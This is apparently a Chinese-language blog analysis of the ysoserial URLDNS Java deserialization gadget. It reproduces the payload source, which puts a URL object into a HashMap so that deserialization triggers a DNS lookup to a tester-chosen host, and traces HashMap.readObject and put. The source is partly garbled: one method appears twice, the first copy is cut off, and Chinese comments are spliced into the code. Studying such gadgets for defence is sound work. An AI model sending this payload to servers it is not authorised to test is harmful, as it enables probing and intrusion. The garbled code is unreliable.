/** * A blog post with more details about this gadget chain is at the url below: * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * * This was inspired by Philippe Arteau @h3xstream, who wrote a blog * posting describing how he modified the Java Commons Collections gadget * in ysoserial to open a URL. This takes the same idea, but eliminates * the dependency on Commons Collections and does a DNS lookup with just * standard JDK classes. * * The Java URL class has an interesting property on its equals and * hashCode methods. The URL class will, as a side effect, do a DNS lookup * during a comparison (either equals or hashCode). * * As part of deserialization, HashMap calls hashCode on each key that it * deserializes, so using a Java URL object as a serialized key allows * it to trigger a DNS lookup. * * Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() * * */ @SuppressWarnings({ "rawtypes", "unchecked" }) @PayloadTest(skip = "true") @Dependencies() @Authors({ Authors.GEBL }) publicclassURLDNSimplementsObjectPayload<Object> {
public Object getObject(final String url)throws Exception {
//Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandlerhandler=newSilentURLStreamHandler();
HashMapht=newHashMap(); // HashMap that will contain the URL URLu=newURL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
/** * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.</p> * * <b>Potential false negative:</b> * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.</p> */ staticclassSilentURLStreamHandlerextendsURLStreamHandler {
public Object getObject(final String url)throws Exception {
//Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandlerhandler=newSilentURLStreamHandler();
HashMapht=newHashMap(); // HashMap that will contain the URL URLu=newURL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup,将URL作为key传入
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht; }
首先的触发点是HashMap的readObject函数,我们跟进看看
此处省去不重要的代码,截取部分关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
privatevoidreadObject(java.io.ObjectInputStream s){ s.readInt(); // Read and ignore number of buckets intmappings= s.readInt(); // Read number of mappings (size) if (mappings < 0) //throw xxx elseif (mappings > 0) { // Read the keys and values, and put the mappings in the HashMap for (inti=0; i < mappings; i++) { @SuppressWarnings("unchecked") Kkey= (K) s.readObject(); @SuppressWarnings("unchecked") Vvalue= (V) s.readObject(); putVal(hash(key), key, value, false, false); } }
首先是在初始化URL类时,并没有像我们实验的那样子,直接 new URL("");生成一个URL类进行使用,而是还额外提供了一个handler,代码如下:
1 2 3
URLStreamHandlerhandler=newSilentURLStreamHandler(); HashMapht=newHashMap(); // HashMap that will contain the URL URLu=newURL(null, url, handler); // URL to use as the Key
我们注意到,Payload中使用的是new一个SilentURLStreamHandler类,并且在注释上写到“Avoid DNS resolution during payload creation”,所以这行代码的意义就是“避免在生成Payload的时候进行DNS解析”,这是由于payload在生成的时候,也会调用一次HashMap#put函数,把其放入HashMap中,而其代码如下
1 2 3
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }